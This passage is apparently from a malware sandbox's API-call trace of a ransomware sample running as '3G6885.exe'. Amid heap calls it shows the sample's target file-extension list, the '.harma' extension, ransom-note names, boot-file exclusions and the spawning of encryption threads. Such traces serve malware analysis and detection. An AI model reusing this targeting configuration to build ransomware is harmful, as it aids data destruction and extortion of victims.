hHeap=0x5a0000) returned 1 [0036.508] lstrlenW (lpString="C:\\Windows;") returned 11 [0036.508] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fd438 | out: hHeap=0x5a0000) returned 1 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ede08, Size=0x20) returned 0x5b4348 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4348, Size=0x40) returned 0x5d6ac8 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6ac8, Size=0x80) returned 0x5fb450 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5eb448 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0e8, Size=0x8) returned 0x5da0f8 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0f8, Size=0x10) returned 0x5ede50 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ede50, Size=0x20) returned 0x5b4348 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0b8, Size=0x8) returned 0x5da0f8 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0c8, Size=0x8) returned 0x5da0b8 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0e8, Size=0x8) returned 0x5da108 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da108, Size=0x10) returned 0x5edef8 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5edef8, Size=0x20) returned 0x5d5930 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0f8, Size=0x10) returned 0x5edef8 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0b8, Size=0x10) returned 0x5edf28 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da0f8, Size=0x8) returned 0x5da0e8 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da118, Size=0x8) returned 0x5da128 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5edef8, Size=0x20) returned 0x5d58e0 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5edf28, Size=0x20) returned 0x5d5840 [0036.508] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da138, Size=0x8) returned 0x5da148 [0036.509] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0036.509] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5eb448 | out: hHeap=0x5a0000) returned 1 [0036.509] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5edfa0, Size=0x20) returned 0x5d5958 [0036.509] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5fd438, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0036.509] lstrlenW (lpString="C:\\") returned 3 [0036.509] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.510] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fd438 | out: hHeap=0x5a0000) returned 1 [0036.510] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da178, Size=0x82) returned 0x5eb9b0 [0036.510] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da198, Size=0x100) returned 0x5eba40 [0036.510] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eb9b0, Size=0x104) returned 0x5ebc68 [0036.510] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eba40, Size=0x200) returned 0x5ebd78 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5da188 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ebd78 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5eb5c8 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb5e8 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ee000 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb670 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ee030 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ebc68 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ee018 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ebb48 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5eb5e0 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ebbd8 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5eb5f8 | out: hHeap=0x5a0000) returned 1 [0036.511] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ee018, Size=0x20) returned 0x5d5980 [0036.511] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5980, Size=0x40) returned 0x5d6ac8 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5da158 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5edfa0 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5eb520 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5edfd0 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb560 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5edfb8 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5da168 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5edfe8 | out: hHeap=0x5a0000) returned 1 [0036.511] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d7ec8 | out: hHeap=0x5a0000) returned 1 [0036.512] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d6000 | out: hHeap=0x5a0000) returned 1 [0036.512] lstrlenW (lpString="%systemdrive%") returned 13 [0036.512] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5958 | out: hHeap=0x5a0000) returned 1 [0036.512] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb450 | out: hHeap=0x5a0000) returned 1 [0036.512] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5da138 | out: hHeap=0x5a0000) returned 1 [0036.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5db428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0036.512] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5edfe8, Size=0x20) returned 0x5d5980 [0036.512] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5980, Size=0x40) returned 0x5d6b10 [0036.512] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6b10, Size=0x80) returned 0x5fb450 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5eb9b0 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eb9b0, Size=0x200) returned 0x5eb9b0 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eb9b0, Size=0x400) returned 0x5eb9b0 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eb9b0, Size=0x800) returned 0x5eb9b0 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5eb9b0, Size=0x1000) returned 0x5f0060 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da138, Size=0x8) returned 0x5da158 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da158, Size=0x10) returned 0x5ee000 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ee000, Size=0x20) returned 0x5d5980 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5980, Size=0x40) returned 0x5d6b10 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6b10, Size=0x80) returned 0x5fb450 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5f1080 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f1080, Size=0x200) returned 0x5ebdb0 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ebdb0, Size=0x400) returned 0x5f3068 [0036.513] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f3068, Size=0x800) returned 0x5f4070 [0036.513] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0036.513] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f0060 | out: hHeap=0x5a0000) returned 1 [0036.513] lstrlenW (lpString="") returned 0 [0036.513] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f4ef0 | out: hHeap=0x5a0000) returned 1 [0036.513] lstrlenW (lpString=".harma") returned 6 [0036.514] lstrlenW (lpString=".harma") returned 6 [0036.514] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f4ef0 | out: hHeap=0x5a0000) returned 1 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f4f20, Size=0x20) returned 0x5d5980 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5980, Size=0x40) returned 0x5d6b10 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6b10, Size=0x80) returned 0x5fb450 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da2d8, Size=0x8) returned 0x5da2e8 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da2e8, Size=0x10) returned 0x5f4f20 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f4f20, Size=0x20) returned 0x5d59d0 [0036.514] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0036.514] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb450 | out: hHeap=0x5a0000) returned 1 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f4f50, Size=0x20) returned 0x5d59f8 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d59f8, Size=0x40) returned 0x5d6b10 [0036.514] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0036.514] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0036.514] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d6b10 | out: hHeap=0x5a0000) returned 1 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f4f50, Size=0x20) returned 0x5d59f8 [0036.514] lstrlenW (lpString="Info.hta") returned 8 [0036.514] lstrlenW (lpString="Info.hta") returned 8 [0036.514] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d59f8 | out: hHeap=0x5a0000) returned 1 [0036.514] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x61d460, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3G6885.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3g6885.exe")) returned 0x30 [0036.514] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61d460 | out: hHeap=0x5a0000) returned 1 [0036.514] lstrlenW (lpString="3G6885.exe") returned 10 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d59d0, Size=0x40) returned 0x5d6b10 [0036.514] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f4f50, Size=0x20) returned 0x5d59d0 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f4f50, Size=0x20) returned 0x5d59f8 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d59f8, Size=0x40) returned 0x5d6b58 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6b58, Size=0x80) returned 0x5fb450 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5f1080 [0036.515] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.515] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f1080 | out: hHeap=0x5a0000) returned 1 [0036.515] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x61d460, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0036.515] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x62d468 | out: hHeap=0x5a0000) returned 1 [0036.515] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61d460 | out: hHeap=0x5a0000) returned 1 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da2e8, Size=0x8) returned 0x5da2d8 [0036.515] lstrlenW (lpString="%windir%;") returned 9 [0036.515] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d59d0 | out: hHeap=0x5a0000) returned 1 [0036.515] lstrlenW (lpString="C:\\Windows;") returned 11 [0036.515] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60d458 | out: hHeap=0x5a0000) returned 1 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f4f68, Size=0x20) returned 0x5d59d0 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d59d0, Size=0x40) returned 0x5d6b58 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6b58, Size=0x80) returned 0x5fb450 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5f1080 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da318, Size=0x8) returned 0x5da328 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da328, Size=0x10) returned 0x5f4fb0 [0036.515] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f4fb0, Size=0x20) returned 0x5d59d0 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da2e8, Size=0x8) returned 0x5da328 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da2f8, Size=0x8) returned 0x5da2e8 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da318, Size=0x8) returned 0x5da338 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da338, Size=0x10) returned 0x5f5058 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f5058, Size=0x20) returned 0x5d59f8 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da328, Size=0x10) returned 0x5f5058 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da2e8, Size=0x10) returned 0x5f0090 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da328, Size=0x8) returned 0x5da318 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da348, Size=0x8) returned 0x5da358 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f5058, Size=0x20) returned 0x5d5a20 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0090, Size=0x20) returned 0x5d5a48 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da368, Size=0x8) returned 0x5da378 [0036.516] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0036.516] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f1080 | out: hHeap=0x5a0000) returned 1 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0120, Size=0x20) returned 0x5d5a98 [0036.516] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x60d458, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0036.516] lstrlenW (lpString="C:\\") returned 3 [0036.516] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.516] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60d458 | out: hHeap=0x5a0000) returned 1 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f3080, Size=0x82) returned 0x5ebe88 [0036.516] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f30a0, Size=0x100) returned 0x5f1080 [0036.517] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ebe88, Size=0x104) returned 0x5f08f0 [0036.517] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f1080, Size=0x200) returned 0x5f5090 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f3090 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f5090 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f01c8 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb670 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f0180 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb5e8 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f01b0 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f08f0 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f0198 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ebf18 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f01e0 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f0860 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f01f8 | out: hHeap=0x5a0000) returned 1 [0036.518] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f01f8, Size=0x20) returned 0x5d5ac0 [0036.518] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5ac0, Size=0x40) returned 0x5d6b58 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5da388 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f0120 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ec3b8 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f0150 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb560 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f0138 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5da398 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f0168 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5eb560 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d6120 | out: hHeap=0x5a0000) returned 1 [0036.518] lstrlenW (lpString="%systemdrive%") returned 13 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d5a98 | out: hHeap=0x5a0000) returned 1 [0036.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5fb450 | out: hHeap=0x5a0000) returned 1 [0036.519] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5da368 | out: hHeap=0x5a0000) returned 1 [0036.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5fd438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0036.827] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5d7c28*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x9b0 Thread: id = 4 os_tid = 0x9bc [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0168 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0168, Size=0x20) returned 0x5d5ac0 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5ac0, Size=0x40) returned 0x5d6ba0 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6ba0, Size=0x80) returned 0x5fb450 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5f1080 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0168 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0168, Size=0x20) returned 0x5d5ac0 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d5ac0, Size=0x40) returned 0x5d6ba0 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5d6ba0, Size=0x80) returned 0x5fb450 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5fb450, Size=0x100) returned 0x5f1188 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5f0168 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5da368 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0138 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da368, Size=0x8) returned 0x5da398 [0036.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5d6140 [0036.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5da398, Size=0x10) returned 0x5f0150 [0036.783] RtlAllocateHeap 